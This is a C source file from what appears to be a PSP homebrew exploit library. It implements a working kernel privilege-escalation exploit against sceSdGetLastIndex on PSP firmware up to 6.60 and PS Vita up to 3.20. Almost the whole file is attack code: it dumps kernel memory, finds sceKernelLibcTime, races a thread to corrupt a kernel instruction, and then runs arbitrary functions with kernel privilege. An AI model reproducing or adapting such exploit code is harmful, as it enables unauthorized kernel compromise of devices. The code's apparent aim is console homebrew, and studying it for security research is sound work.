-
Notifications
You must be signed in to change notification settings - Fork 3
/
kernel_write.c
116 lines (86 loc) · 3.04 KB
/
kernel_write.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#include "libpspexploit.h"
#include <stdint.h>
// allocate enough to scan sysmem
#define KRAM_BACKUP_SIZE (128*1024)
#define MAX_RETRIES 100000
/*
sceSdGetLastIndex Kernel Exploit for PSP up to 6.60 and PS Vita up to 3.20, both PSP and PSX exploits
*/
extern int sceSdGetLastIndex(int a1, int a2, int a3);
static int (* _sceKernelLibcTime)(u32 a0, u32 a1) = (void*)NULL;
volatile static u32 packet[256];
volatile static int is_exploited;
volatile static u32 patch_addr = 0U;
volatile static u32 patch_inst = 0;
void pspXploitExecuteKernel(u32 kernelContentFunction)
{
#ifdef DEBUG
pspDebugScreenPrintf("Executing function with kernel priviledge\n");
#endif
_sceKernelLibcTime(0x08800000, KERNELIFY(kernelContentFunction));
}
void pspXploitRepairKernel(){
_sw(patch_inst, patch_addr); // recover the damage we've done
}
int pspXploitInitKernelExploit(){
#ifdef DEBUG
pspDebugScreenPrintf("Initializing kernel exploit\n");
#endif
SceUID memid = sceKernelAllocPartitionMemory(PSP_MEMORY_PARTITION_USER, "", PSP_SMEM_High, KRAM_BACKUP_SIZE, NULL);
if (memid < 0) return memid;
void* kram_copy = sceKernelGetBlockHeadAddr(memid);
// user read-only kxploit to dump sysmem
pspXploitDumpKernel(kram_copy, (u32*)0x88000000, KRAM_BACKUP_SIZE);
#ifdef DEBUG
pspDebugScreenPrintf("Scanning sceKernelLibcTime address\n");
#endif
// figure out address of libctime
u32 libctime_addr = pspXploitFindFunctionFromUsermode("UtilsForUser", 0x27CC57F0, kram_copy, KRAM_BACKUP_SIZE);
if (libctime_addr == NULL){
sceKernelFreePartitionMemory(memid);
return -1;
}
// the function we need to patch
patch_addr = libctime_addr+4;
patch_inst = *(u32*)((u32)kram_copy + (libctime_addr-0x88000000) + 4);
_sceKernelLibcTime = (void*)(&sceKernelLibcTime);
// initialize savedata to resolve sceSdGetLastIndex stub
pspXploitOpenP5(0);
sceKernelDcacheWritebackAll();
sceKernelFreePartitionMemory(memid);
return 0;
}
// the threads that will make sceSdGetLastIndex vulnerable
static int qwik_thread()
{
while (!is_exploited) {
packet[9] = patch_addr - 18 - (u32)packet;
sceKernelDelayThread(0);
}
return 0;
}
static void KernelFunction()
{
is_exploited = 1;
}
int pspXploitDoKernelExploit()
{
is_exploited = 0;
#ifdef DEBUG
pspDebugScreenPrintf("Corrupting kernel\n");
#endif
// we create the thread and constantly attempt the exploit
SceUID qwikthread = sceKernelCreateThread("qwik thread", qwik_thread, 0x11, 0x1000, THREAD_ATTR_USER, NULL);
sceKernelStartThread(qwikthread, 0, NULL);
int max = MAX_RETRIES;
while (!is_exploited && max) {
packet[9] = (u32)16;
sceSdGetLastIndex((u32)packet, (u32)packet + 0x100, (u32)packet + 0x200);
sceKernelDelayThread(0);
_sceKernelLibcTime(0x08800000, (u32)&KernelFunction | (u32)0x80000000);
max--;
sceKernelDcacheWritebackAll();
}
sceKernelTerminateDeleteThread(qwikthread);
return (is_exploited)? 0 : -1;
}